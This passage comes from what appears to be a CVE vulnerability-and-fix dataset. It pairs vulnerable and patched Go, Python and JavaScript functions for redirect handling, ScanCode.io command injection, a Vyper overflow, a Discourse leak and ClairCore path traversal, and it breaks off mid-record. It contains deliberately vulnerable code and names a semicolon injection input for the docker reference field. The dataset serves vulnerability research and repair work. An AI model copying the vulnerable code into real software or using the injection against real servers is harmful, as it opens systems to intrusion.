"activitypub/webfinger/webfinger.go", "start_line": 12, "end_line": 53, "snippet": "func GetWebfingerLinks(account string) ([]map[string]interface{}, error) {\n\ttype webfingerResponse struct {\n\t\tLinks []map[string]interface{} `json:\"links\"`\n\t}\n\n\taccount = strings.TrimLeft(account, \"@\") // remove any leading @\n\taccountComponents := strings.Split(account, \"@\")\n\tfediverseServer := accountComponents[1]\n\n\t// HTTPS is required.\n\trequestURL, err := url.Parse(\"https://\" + fediverseServer)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"unable to parse fediverse server host %s\", fediverseServer)\n\t}\n\n\trequestURL.Path = \"/.well-known/webfinger\"\n\tquery := requestURL.Query()\n\tquery.Add(\"resource\", fmt.Sprintf(\"acct:%s\", account))\n\trequestURL.RawQuery = query.Encode()\n\n\t// Do not support redirects.\n\tclient := &http.Client{\n\t\tCheckRedirect: func(req *http.Request, via []*http.Request) error {\n\t\t\treturn http.ErrUseLastResponse\n\t\t},\n\t}\n\n\tresponse, err := client.Get(requestURL.String())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdefer response.Body.Close()\n\n\tvar links webfingerResponse\n\tdecoder := json.NewDecoder(response.Body)\n\tif err := decoder.Decode(&links); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn links.Links, nil\n}"}, {"id": "fix_go_172_2", "commit": "f40135d", "file_path": "auth/indieauth/client.go", "start_line": 70, "end_line": 135, "snippet": "func HandleCallbackCode(code, state string) (*Request, *Response, error) {\n\trequest, exists := pendingAuthRequests[state]\n\tif !exists {\n\t\treturn nil, nil, errors.New(\"no auth requests pending\")\n\t}\n\n\tdata := url.Values{}\n\tdata.Set(\"grant_type\", \"authorization_code\")\n\tdata.Set(\"code\", code)\n\tdata.Set(\"client_id\", request.ClientID)\n\tdata.Set(\"redirect_uri\", request.Callback.String())\n\tdata.Set(\"code_verifier\", request.CodeVerifier)\n\n\t// Do not support redirects.\n\tclient := &http.Client{\n\t\tCheckRedirect: func(req *http.Request, via []*http.Request) error {\n\t\t\treturn http.ErrUseLastResponse\n\t\t},\n\t}\n\n\tr, err := http.NewRequest(\"POST\", request.Endpoint.String(), strings.NewReader(data.Encode())) // URL-encoded payload\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tr.Header.Add(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\tr.Header.Add(\"Content-Length\", strconv.Itoa(len(data.Encode())))\n\n\tres, err := client.Do(r)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tdefer res.Body.Close()\n\tbody, err := io.ReadAll(res.Body)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tvar response Response\n\tif err := json.Unmarshal(body, &response); err != nil {\n\t\treturn nil, nil, errors.Wrap(err, \"unable to parse IndieAuth response: \"+string(body))\n\t}\n\n\tif response.Error != \"\" || response.ErrorDescription != \"\" {\n\t\terrorText := makeIndieAuthClientErrorText(response.Error)\n\t\tlog.Debugln(\"IndieAuth error:\", response.Error, response.ErrorDescription)\n\t\treturn nil, nil, fmt.Errorf(\"IndieAuth error: %s - %s\", errorText, response.ErrorDescription)\n\t}\n\n\t// In case this IndieAuth server does not use OAuth error keys or has internal\n\t// issues resulting in unstructured errors.\n\tif res.StatusCode < 200 || res.StatusCode > 299 {\n\t\tlog.Debugln(\"IndieAuth error. status code:\", res.StatusCode, \"body:\", string(body))\n\t\treturn nil, nil, errors.New(\"there was an error authenticating against IndieAuth server\")\n\t}\n\n\t// Trim any trailing slash so we can accurately compare the two \"me\" values\n\tmeResponseVerifier := strings.TrimRight(response.Me, \"/\")\n\tmeRequestVerifier := strings.TrimRight(request.Me.String(), \"/\")\n\n\t// What we sent and what we got back must match\n\tif meRequestVerifier != meResponseVerifier {\n\t\treturn nil, nil, errors.New(\"indieauth response does not match the initial anticipated auth destination\")\n\t}\n\n\treturn request, &response, nil\n}"}], "vul_patch": "--- a/activitypub/webfinger/webfinger.go\n+++ b/activitypub/webfinger/webfinger.go\n@@ -18,7 +18,14 @@\n \tquery.Add(\"resource\", fmt.Sprintf(\"acct:%s\", account))\n \trequestURL.RawQuery = query.Encode()\n \n-\tresponse, err := http.DefaultClient.Get(requestURL.String())\n+\t// Do not support redirects.\n+\tclient := &http.Client{\n+\t\tCheckRedirect: func(req *http.Request, via []*http.Request) error {\n+\t\t\treturn http.ErrUseLastResponse\n+\t\t},\n+\t}\n+\n+\tresponse, err := client.Get(requestURL.String())\n \tif err != nil {\n \t\treturn nil, err\n \t}\n\n--- a/auth/indieauth/client.go\n+++ b/auth/indieauth/client.go\n@@ -11,7 +11,13 @@\n \tdata.Set(\"redirect_uri\", request.Callback.String())\n \tdata.Set(\"code_verifier\", request.CodeVerifier)\n \n-\tclient := &http.Client{}\n+\t// Do not support redirects.\n+\tclient := &http.Client{\n+\t\tCheckRedirect: func(req *http.Request, via []*http.Request) error {\n+\t\t\treturn http.ErrUseLastResponse\n+\t\t},\n+\t}\n+\n \tr, err := http.NewRequest(\"POST\", request.Endpoint.String(), strings.NewReader(data.Encode())) // URL-encoded payload\n \tif err != nil {\n \t\treturn nil, nil, err\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-39523", "cve_description": "ScanCode.io is a server to script and automate software composition analysis with ScanPipe pipelines. Prior to version 32.5.1, the software has a possible command injection vulnerability in the docker fetch process as it allows to append malicious commands in the `docker_reference` parameter.\n\nIn the function `scanpipe/pipes/fetch.py:fetch_docker_image` the parameter `docker_reference` is user controllable. The `docker_reference` variable is then passed to the vulnerable function `get_docker_image_platform`.  However, the `get_docker_image_plaform` function constructs a shell command with the passed `docker_reference`. The `pipes.run_command` then executes the shell command without any prior sanitization, making the function vulnerable to command injections. A malicious user who is able to create or add inputs to a project can inject commands. Although the command injections are blind and the user will not receive direct feedback without logs, it is still possible to cause damage to the server/container. The vulnerability appears for example if a malicious user adds a semicolon after the input of `docker://;`, it would allow appending malicious commands.\n\nVersion 32.5.1 contains a patch for this issue. The `docker_reference` input should be sanitized to avoid command injections and, as a workaround, one may avoid creating commands with user controlled input directly.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/nexB/scancode.io", "patch_url": ["https://github.com/nexB/scancode.io/commit/07ec0de1964b14bf085a1c9a27ece2b61ab6105c"], "programing_language": "Python", "vul_func": [{"id": "vul_py_230_1", "commit": "2f5a6cc", "file_path": "scanpipe/pipes/__init__.py", "start_line": 264, "end_line": 291, "snippet": "def run_command(cmd, log_output=False):\n    \"\"\"\n    Return (exitcode, output) of executing the provided `cmd` in a shell.\n    `cmd` can be provided as a string or as a list of arguments.\n\n    If `log_output` is True, the stdout and stderr of the process will be captured\n    and streamed to the `logger`.\n    \"\"\"\n    if isinstance(cmd, list):\n        cmd = \" \".join(cmd)\n\n    if not log_output:\n        exitcode, output = subprocess.getstatusoutput(cmd)\n        return exitcode, output\n\n    process = subprocess.Popen(\n        cmd,\n        shell=True,\n        stdout=subprocess.PIPE,\n        stderr=subprocess.STDOUT,\n        universal_newlines=True,\n    )\n\n    while _stream_process(process):\n        sleep(1)\n\n    exitcode = process.poll()\n    return exitcode, \"\""}, {"id": "vul_py_230_2", "commit": "2f5a6cc", "file_path": "scanpipe/pipes/fetch.py", "start_line": 185, "end_line": 232, "snippet": "def fetch_docker_image(docker_reference, to=None):\n    \"\"\"\n    Fetch a docker image from the provided Docker image `docker_reference`\n    docker:// reference URL. Return a `download` object.\n\n    Docker references are documented here:\n    https://github.com/containers/skopeo/blob/0faf16017/docs/skopeo.1.md#image-names\n    \"\"\"\n    name = python_safe_name(docker_reference.replace(\"docker://\", \"\"))\n    filename = f\"{name}.tar\"\n    download_directory = to or tempfile.mkdtemp()\n    output_file = Path(download_directory, filename)\n    target = f\"docker-archive:{output_file}\"\n\n    skopeo_executable = _get_skopeo_location()\n    platform_args = []\n    platform = get_docker_image_platform(docker_reference)\n    if platform:\n        os, arch, variant = platform\n        if os:\n            platform_args.append(f\"--override-os={os}\")\n        if arch:\n            platform_args.append(f\"--override-arch={arch}\")\n        if variant:\n            platform_args.append(f\"--override-variant={variant}\")\n    platform_args = \" \".join(platform_args)\n\n    cmd = (\n        f\"{skopeo_executable} copy --insecure-policy \"\n        f\"{platform_args} {docker_reference} {target}\"\n    )\n    logger.info(f\"Fetching image with: {cmd}\")\n    exitcode, output = pipes.run_command(cmd)\n    logger.info(output)\n    if exitcode != 0:\n        raise FetchDockerImageError(output)\n\n    checksums = multi_checksums(output_file, (\"md5\", \"sha1\"))\n\n    return Download(\n        uri=docker_reference,\n        directory=download_directory,\n        filename=filename,\n        path=output_file,\n        size=output_file.stat().st_size,\n        sha1=checksums[\"sha1\"],\n        md5=checksums[\"md5\"],\n    )"}], "fix_func": [{"id": "fix_py_230_1", "commit": "07ec0de", "file_path": "scanpipe/pipes/__init__.py", "start_line": 264, "end_line": 291, "snippet": "def run_command(cmd, log_output=False):\n    \"\"\"\n    Return (exitcode, output) of executing the provided `cmd` in a shell.\n    `cmd` can be provided as a string or as a list of arguments.\n\n    If `log_output` is True, the stdout and stderr of the process will be captured\n    and streamed to the `logger`.\n    \"\"\"\n    if isinstance(cmd, list):\n        cmd = \" \".join(cmd)\n\n    if not log_output:\n        exitcode, output = subprocess.getstatusoutput(cmd)\n        return exitcode, output\n\n    process = subprocess.Popen(\n        cmd,\n        shell=False,\n        stdout=subprocess.PIPE,\n        stderr=subprocess.STDOUT,\n        universal_newlines=True,\n    )\n\n    while _stream_process(process):\n        sleep(1)\n\n    exitcode = process.poll()\n    return exitcode, \"\""}, {"id": "fix_py_230_2", "commit": "07ec0de", "file_path": "scanpipe/pipes/fetch.py", "start_line": 186, "end_line": 238, "snippet": "def fetch_docker_image(docker_reference, to=None):\n    \"\"\"\n    Fetch a docker image from the provided Docker image `docker_reference`\n    docker:// reference URL. Return a `download` object.\n\n    Docker references are documented here:\n    https://github.com/containers/skopeo/blob/0faf16017/docs/skopeo.1.md#image-names\n    \"\"\"\n\n    whitelist = r\"^docker://[a-zA-Z0-9_.:/@-]+$\"\n    if not re.match(whitelist, docker_reference):\n        raise ValueError(\"Invalid Docker reference.\")\n\n    name = python_safe_name(docker_reference.replace(\"docker://\", \"\"))\n    filename = f\"{name}.tar\"\n    download_directory = to or tempfile.mkdtemp()\n    output_file = Path(download_directory, filename)\n    target = f\"docker-archive:{output_file}\"\n\n    skopeo_executable = _get_skopeo_location()\n    platform_args = []\n    platform = get_docker_image_platform(docker_reference)\n    if platform:\n        os, arch, variant = platform\n        if os:\n            platform_args.append(f\"--override-os={os}\")\n        if arch:\n            platform_args.append(f\"--override-arch={arch}\")\n        if variant:\n            platform_args.append(f\"--override-variant={variant}\")\n    platform_args = \" \".join(platform_args)\n\n    cmd = (\n        f\"{skopeo_executable} copy --insecure-policy \"\n        f\"{platform_args} {docker_reference} {target}\"\n    )\n    logger.info(f\"Fetching image with: {cmd}\")\n    exitcode, output = pipes.run_command(cmd)\n    logger.info(output)\n    if exitcode != 0:\n        raise FetchDockerImageError(output)\n\n    checksums = multi_checksums(output_file, (\"md5\", \"sha1\"))\n\n    return Download(\n        uri=docker_reference,\n        directory=download_directory,\n        filename=filename,\n        path=output_file,\n        size=output_file.stat().st_size,\n        sha1=checksums[\"sha1\"],\n        md5=checksums[\"md5\"],\n    )"}], "vul_patch": "--- a/scanpipe/pipes/__init__.py\n+++ b/scanpipe/pipes/__init__.py\n@@ -15,7 +15,7 @@\n \n     process = subprocess.Popen(\n         cmd,\n-        shell=True,\n+        shell=False,\n         stdout=subprocess.PIPE,\n         stderr=subprocess.STDOUT,\n         universal_newlines=True,\n\n--- a/scanpipe/pipes/fetch.py\n+++ b/scanpipe/pipes/fetch.py\n@@ -6,6 +6,11 @@\n     Docker references are documented here:\n     https://github.com/containers/skopeo/blob/0faf16017/docs/skopeo.1.md#image-names\n     \"\"\"\n+\n+    whitelist = r\"^docker://[a-zA-Z0-9_.:/@-]+$\"\n+    if not re.match(whitelist, docker_reference):\n+        raise ValueError(\"Invalid Docker reference.\")\n+\n     name = python_safe_name(docker_reference.replace(\"docker://\", \"\"))\n     filename = f\"{name}.tar\"\n     download_directory = to or tempfile.mkdtemp()\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-32058", "cve_description": "Vyper is a Pythonic smart contract language for the Ethereum virtual machine. Prior to version 0.3.8, due to missing overflow check for loop variables, by assigning the iterator of a loop to a variable, it is possible to overflow the type of the latter. The issue seems to happen only in loops of type `for i in range(a, a + N)` as in loops of type `for i in range(start, stop)` and `for i in range(stop)`, the compiler is able to raise a `TypeMismatch` when trying to overflow the variable. The problem has been patched in version 0.3.8.", "cwe_info": {"CWE-190": {"name": "Integer Overflow or Wraparound", "description": "The product performs a calculation that can\n         produce an integer overflow or wraparound when the logic\n         assumes that the resulting value will always be larger than\n         the original value. This occurs when an integer value is\n         incremented to a value that is too large to store in the\n         associated representation. When this occurs, the value may\n         become a very small or negative number."}}, "repo": "https://github.com/vyperlang/vyper", "patch_url": ["https://github.com/vyperlang/vyper/commit/3de1415ee77a9244eb04bdb695e249d3ec9ed868"], "programing_language": "Python", "vul_func": [{"id": "vul_py_417_1", "commit": "4f8289a", "file_path": "vyper/codegen/stmt.py", "start_line": 238, "end_line": 286, "snippet": "    def _parse_For_range(self):\n        # TODO make sure type always gets annotated\n        if \"type\" in self.stmt.target._metadata:\n            iter_typ = self.stmt.target._metadata[\"type\"]\n        else:\n            iter_typ = INT256_T\n\n        # Get arg0\n        arg0 = self.stmt.iter.args[0]\n        num_of_args = len(self.stmt.iter.args)\n\n        # Type 1 for, e.g. for i in range(10): ...\n        if num_of_args == 1:\n            arg0_val = self._get_range_const_value(arg0)\n            start = IRnode.from_list(0, typ=iter_typ)\n            rounds = arg0_val\n\n        # Type 2 for, e.g. for i in range(100, 110): ...\n        elif self._check_valid_range_constant(self.stmt.iter.args[1]).is_literal:\n            arg0_val = self._get_range_const_value(arg0)\n            arg1_val = self._get_range_const_value(self.stmt.iter.args[1])\n            start = IRnode.from_list(arg0_val, typ=iter_typ)\n            rounds = IRnode.from_list(arg1_val - arg0_val, typ=iter_typ)\n\n        # Type 3 for, e.g. for i in range(x, x + 10): ...\n        else:\n            arg1 = self.stmt.iter.args[1]\n            rounds = self._get_range_const_value(arg1.right)\n            start = Expr.parse_value_expr(arg0, self.context)\n\n        r = rounds if isinstance(rounds, int) else rounds.value\n        if r < 1:\n            return\n\n        varname = self.stmt.target.id\n        i = IRnode.from_list(self.context.fresh_varname(\"range_ix\"), typ=UINT256_T)\n        iptr = self.context.new_variable(varname, iter_typ)\n\n        self.context.forvars[varname] = True\n\n        loop_body = [\"seq\"]\n        # store the current value of i so it is accessible to userland\n        loop_body.append([\"mstore\", iptr, i])\n        loop_body.append(parse_body(self.stmt.body, self.context))\n\n        ir_node = IRnode.from_list([\"repeat\", i, start, rounds, rounds, loop_body])\n        del self.context.forvars[varname]\n\n        return ir_node"}], "fix_func": [{"id": "fix_py_417_1", "commit": "3de1415ee77a9244eb04bdb695e249d3ec9ed868", "file_path": "vyper/codegen/stmt.py", "start_line": 239, "end_line": 289, "snippet": "    def _parse_For_range(self):\n        # TODO make sure type always gets annotated\n        if \"type\" in self.stmt.target._metadata:\n            iter_typ = self.stmt.target._metadata[\"type\"]\n        else:\n            iter_typ = INT256_T\n\n        # Get arg0\n        arg0 = self.stmt.iter.args[0]\n        num_of_args = len(self.stmt.iter.args)\n\n        # Type 1 for, e.g. for i in range(10): ...\n        if num_of_args == 1:\n            arg0_val = self._get_range_const_value(arg0)\n            start = IRnode.from_list(0, typ=iter_typ)\n            rounds = arg0_val\n\n        # Type 2 for, e.g. for i in range(100, 110): ...\n        elif self._check_valid_range_constant(self.stmt.iter.args[1]).is_literal:\n            arg0_val = self._get_range_const_value(arg0)\n            arg1_val = self._get_range_const_value(self.stmt.iter.args[1])\n            start = IRnode.from_list(arg0_val, typ=iter_typ)\n            rounds = IRnode.from_list(arg1_val - arg0_val, typ=iter_typ)\n\n        # Type 3 for, e.g. for i in range(x, x + 10): ...\n        else:\n            arg1 = self.stmt.iter.args[1]\n            rounds = self._get_range_const_value(arg1.right)\n            start = Expr.parse_value_expr(arg0, self.context)\n            _, hi = start.typ.int_bounds\n            start = clamp(\"le\", start, hi + 1 - rounds)\n\n        r = rounds if isinstance(rounds, int) else rounds.value\n        if r < 1:\n            return\n\n        varname = self.stmt.target.id\n        i = IRnode.from_list(self.context.fresh_varname(\"range_ix\"), typ=UINT256_T)\n        iptr = self.context.new_variable(varname, iter_typ)\n\n        self.context.forvars[varname] = True\n\n        loop_body = [\"seq\"]\n        # store the current value of i so it is accessible to userland\n        loop_body.append([\"mstore\", iptr, i])\n        loop_body.append(parse_body(self.stmt.body, self.context))\n\n        ir_node = IRnode.from_list([\"repeat\", i, start, rounds, rounds, loop_body])\n        del self.context.forvars[varname]\n\n        return ir_node"}], "vul_patch": "--- a/vyper/codegen/stmt.py\n+++ b/vyper/codegen/stmt.py\n@@ -27,6 +27,8 @@\n             arg1 = self.stmt.iter.args[1]\n             rounds = self._get_range_const_value(arg1.right)\n             start = Expr.parse_value_expr(arg0, self.context)\n+            _, hi = start.typ.int_bounds\n+            start = clamp(\"le\", start, hi + 1 - rounds)\n \n         r = rounds if isinstance(rounds, int) else rounds.value\n         if r < 1:\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-23546", "cve_description": "In version 2.9.0.beta14 of Discourse, an open-source discussion platform, maliciously embedded urls can leak an admin's digest of recent topics, possibly exposing private information. A patch is available for version 2.9.0.beta15. There are no known workarounds for this issue.", "cwe_info": {"CWE-200": {"name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."}}, "repo": "https://github.com/discourse/discourse", "patch_url": ["https://github.com/discourse/discourse/commit/cf862e736565c6fa905c12b5dbe63d0bd056efb8"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_80_1", "commit": "c201386", "file_path": "app/assets/javascripts/admin/addon/models/email-preview.js", "start_line": "10", "end_line": "22", "snippet": "EmailPreview.reopenClass({\n  findDigest(username, lastSeenAt) {\n    return ajax(\"/admin/email/preview-digest.json\", {\n      data: { last_seen_at: lastSeenAt || oneWeekAgo(), username },\n    }).then((result) => EmailPreview.create(result));\n  },\n\n  sendDigest(username, lastSeenAt, email) {\n    return ajax(\"/admin/email/send-digest.json\", {\n      data: { last_seen_at: lastSeenAt || oneWeekAgo(), username, email },\n    });\n  },\n});"}], "fix_func": [{"id": "fix_js_80_1", "commit": "cf862e7", "file_path": "app/assets/javascripts/admin/addon/models/email-preview.js", "start_line": "10", "end_line": "23", "snippet": "EmailPreview.reopenClass({\n  findDigest(username, lastSeenAt) {\n    return ajax(\"/admin/email/preview-digest.json\", {\n      data: { last_seen_at: lastSeenAt || oneWeekAgo(), username },\n    }).then((result) => EmailPreview.create(result));\n  },\n\n  sendDigest(username, lastSeenAt, email) {\n    return ajax(\"/admin/email/send-digest.json\", {\n      type: \"POST\",\n      data: { last_seen_at: lastSeenAt || oneWeekAgo(), username, email },\n    });\n  },\n});"}], "vul_patch": "--- a/app/assets/javascripts/admin/addon/models/email-preview.js\n+++ b/app/assets/javascripts/admin/addon/models/email-preview.js\n@@ -7,6 +7,7 @@\n \n   sendDigest(username, lastSeenAt, email) {\n     return ajax(\"/admin/email/send-digest.json\", {\n+      type: \"POST\",\n       data: { last_seen_at: lastSeenAt || oneWeekAgo(), username, email },\n     });\n   },\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-3762", "cve_description": "A directory traversal vulnerability was found in the ClairCore engine of Clair. An attacker can exploit this by supplying a crafted container image which, when scanned by Clair, allows for arbitrary file write on the filesystem, potentially allowing for remote code execution.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/quay/claircore", "patch_url": ["https://github.com/quay/claircore/commit/dff671c665141f126c072de8a744855d4916c9c7", "https://github.com/quay/claircore/commit/ed5f52aec1c82746725e9cc23e98316eab8be25a", "https://github.com/quay/claircore/commit/691f2023a1720a0579e688b69a2f4bfe1f4b7821"], "programing_language": "Go", "vul_func": [{"id": "vul_go_160_1", "commit": "9682889", "file_path": "rpm/packagescanner.go", "start_line": 65, "end_line": 319, "snippet": "func (ps *Scanner) Scan(ctx context.Context, layer *claircore.Layer) ([]*claircore.Package, error) {\n\tif err := ctx.Err(); err != nil {\n\t\treturn nil, err\n\t}\n\tdefer trace.StartRegion(ctx, \"Scanner.Scan\").End()\n\ttrace.Log(ctx, \"layer\", layer.Hash.String())\n\tctx = baggage.ContextWithValues(ctx,\n\t\tlabel.String(\"component\", \"rpm/Scanner.Scan\"),\n\t\tlabel.String(\"version\", ps.Version()),\n\t\tlabel.String(\"layer\", layer.Hash.String()))\n\tzlog.Debug(ctx).Msg(\"start\")\n\tdefer zlog.Debug(ctx).Msg(\"done\")\n\n\tr, err := layer.Reader()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\trd, ok := r.(interface {\n\t\tio.ReadCloser\n\t\tio.Seeker\n\t})\n\tif !ok {\n\t\treturn nil, errors.New(\"rpm: cannot seek on returned layer Reader\")\n\t}\n\n\t// Map of directory to confidence score. Confidence of len(dbnames) means\n\t// it's almost certainly an rpm database.\n\tpossible := make(map[string]int)\n\ttr := tar.NewReader(rd)\n\t// Find possible rpm dbs\n\t// If none found, return\n\tvar h *tar.Header\n\tfor h, err = tr.Next(); err == nil; h, err = tr.Next() {\n\t\tn := filepath.Base(h.Name)\n\t\td := filepath.Dir(h.Name)\n\t\tif _, ok := dbnames[n]; ok {\n\t\t\tpossible[d]++\n\t\t}\n\t}\n\tif err != io.EOF {\n\t\treturn nil, err\n\t}\n\tif len(possible) == 0 {\n\t\treturn nil, nil\n\t}\n\tfound := make([]string, 0)\n\tfor k, score := range possible {\n\t\tif score == len(dbnames) {\n\t\t\tfound = append(found, filepath.Join(\"/\", k))\n\t\t}\n\t}\n\tzlog.Debug(ctx).Int(\"count\", len(found)).Msg(\"found possible databases\")\n\tif len(found) == 0 {\n\t\treturn nil, nil\n\t}\n\n\troot, err := ioutil.TempDir(\"\", \"rpmscanner.\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer func() {\n\t\tif err := os.RemoveAll(root); err != nil {\n\t\t\t// Raising an error should notify an operator?\n\t\t\t//\n\t\t\t// It's this or panic.\n\t\t\tzlog.Error(ctx).Err(err).Msg(\"error removing extracted files\")\n\t\t}\n\t}()\n\tempty := filepath.Join(os.TempDir(), \"rpm.emptyfile\")\n\tef, err := os.Create(empty)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif err := ef.Close(); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Extract tarball\n\tif err := ctx.Err(); err != nil {\n\t\treturn nil, err\n\t}\n\tif _, err := rd.Seek(0, io.SeekStart); err != nil {\n\t\treturn nil, fmt.Errorf(\"rpm: unable to seek: %w\", err)\n\t}\n\ttr = tar.NewReader(rd)\n\tconst (\n\t\t// Any mode bits need to be or'd with these constants so that this\n\t\t// process can always remove and traverse files it writes.\n\t\tdirMode  = 0o0700\n\t\tfileMode = 0o0600\n\t)\n\t// For logging what we've done.\n\tvar stats struct {\n\t\tReg, Link, Symlink, Dir, Whiteout int\n\t\tOutOfOrder                        int\n\t}\n\t// Made tracks directory creation to prevent excessive mkdir calls.\n\tmade := map[string]struct{}{root: {}}\n\t// DeferLn is for queuing up out-of-order hard links.\n\tvar deferLn [][2]string\n\tfor h, err = tr.Next(); err == nil; h, err = tr.Next() {\n\t\tif strings.HasPrefix(filepath.Base(h.Name), \".wh.\") {\n\t\t\t// Whiteout, skip.\n\t\t\tstats.Whiteout++\n\t\t\tcontinue\n\t\t}\n\t\t// Build the path on the filesystem.\n\t\ttgt := filepath.Join(root, filepath.Clean(h.Name))\n\t\t// Since tar, as a format, doesn't impose ordering requirements, make\n\t\t// sure to create all parent directories of the current entry.\n\t\td := filepath.Dir(tgt)\n\t\tif _, ok := made[d]; !ok {\n\t\t\tif err := os.MkdirAll(d, dirMode); err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tmade[d] = struct{}{}\n\t\t\tstats.OutOfOrder++\n\t\t}\n\n\t\t// Populate the target file.\n\t\tvar err error\n\t\tswitch h.Typeflag {\n\t\tcase tar.TypeDir:\n\t\t\tm := h.FileInfo().Mode() | dirMode\n\t\t\tif _, ok := made[tgt]; ok {\n\t\t\t\t// If we had made this directory by seeing a child first, touch\n\t\t\t\t// up the permissions.\n\t\t\t\terr = os.Chmod(tgt, m)\n\t\t\t\tbreak\n\t\t\t}\n\t\t\terr = os.Mkdir(tgt, m)\n\t\t\t// Make sure to preempt the MkdirAll call if the entries were\n\t\t\t// ordered nicely.\n\t\t\tmade[d] = struct{}{}\n\t\t\tstats.Dir++\n\t\tcase tar.TypeReg:\n\t\t\tm := h.FileInfo().Mode() | fileMode\n\t\t\tvar f *os.File\n\t\t\tf, err = os.OpenFile(tgt, os.O_CREATE|os.O_WRONLY, m)\n\t\t\tif err != nil {\n\t\t\t\tbreak // Handle after the switch.\n\t\t\t}\n\t\t\t_, err = io.Copy(f, tr)\n\t\t\tif err := f.Close(); err != nil {\n\t\t\t\tzlog.Warn(ctx).Err(err).Msg(\"error closing new file\")\n\t\t\t}\n\t\t\tstats.Reg++\n\t\tcase tar.TypeSymlink:\n\t\t\t// Normalize the link target into the root.\n\t\t\tln := filepath.Join(root, filepath.Clean(h.Linkname))\n\t\t\terr = os.Symlink(ln, tgt)\n\t\t\tstats.Symlink++\n\t\tcase tar.TypeLink:\n\t\t\t// Normalize the link target into the root.\n\t\t\tln := filepath.Join(root, filepath.Clean(h.Linkname))\n\t\t\t_, exists := os.Lstat(ln)\n\t\t\tswitch {\n\t\t\tcase errors.Is(exists, nil):\n\t\t\t\terr = os.Link(ln, tgt)\n\t\t\tcase errors.Is(exists, os.ErrNotExist):\n\t\t\t\t// Push onto a queue to fix later. Link(2) is documented to need\n\t\t\t\t// a valid target, unlike symlink(2), which allows a missing\n\t\t\t\t// target. Combined with tar's lack of ordering, this seems like\n\t\t\t\t// the best solution.\n\t\t\t\tdeferLn = append(deferLn, [2]string{ln, tgt})\n\t\t\tdefault:\n\t\t\t\terr = exists\n\t\t\t}\n\t\t\tstats.Link++\n\t\tdefault:\n\t\t\t// Skip everything else: Can't mknod as an unprivileged user and\n\t\t\t// fifos are only useful to a running system.\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\tfor _, l := range deferLn {\n\t\tif err := os.Link(l[0], l[1]); err != nil {\n\t\t\tzlog.Debug(ctx).\n\t\t\t\tErr(err).\n\t\t\t\tMsg(\"cross-layer (or invalid) hardlink found\")\n\t\t\tif err := os.Link(empty, l[1]); err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t}\n\tif ct := len(deferLn); ct != 0 {\n\t\tzlog.Debug(ctx).\n\t\t\tInt(\"count\", ct).\n\t\t\tMsg(\"processed deferred links\")\n\t}\n\n\tzlog.Info(ctx).\n\t\tInt(\"file\", stats.Reg).\n\t\tInt(\"dir\", stats.Dir).\n\t\tInt(\"dir(out of order)\", stats.OutOfOrder).\n\t\tInt(\"symlink\", stats.Symlink).\n\t\tInt(\"link\", stats.Link).\n\t\tInt(\"whiteout\", stats.Whiteout).\n\t\tMsg(\"extracted layer\")\n\n\tvar pkgs []*claircore.Package\n\t// Using --root and --dbpath, run rpm query on every suspected database\n\tfor _, db := range found {\n\t\tzlog.Debug(ctx).Str(\"db\", db).Msg(\"examining database\")\n\n\t\tcmd := exec.CommandContext(ctx, \"rpm\",\n\t\t\t`--root`, root, `--dbpath`, db,\n\t\t\t`--query`, `--all`, `--queryformat`, queryFmt)\n\t\tr, err := cmd.StdoutPipe()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\terrbuf := bytes.Buffer{}\n\t\tcmd.Stderr = &errbuf\n\t\tzlog.Debug(ctx).Str(\"db\", db).Strs(\"cmd\", cmd.Args).Msg(\"rpm invocation\")\n\t\tif err := cmd.Start(); err != nil {\n\t\t\tr.Close()\n\t\t\treturn nil, err\n\t\t}\n\t\t// Use a closure to defer the Close call.\n\t\tif err := func() error {\n\t\t\tdefer r.Close()\n\t\t\tsrcs := make(map[string]*claircore.Package)\n\t\t\ts := bufio.NewScanner(r)\n\t\t\ts.Split(querySplit)\n\n\t\t\tfor s.Scan() {\n\t\t\t\tp, err := parsePackage(ctx, srcs, bytes.NewBuffer(s.Bytes()))\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn 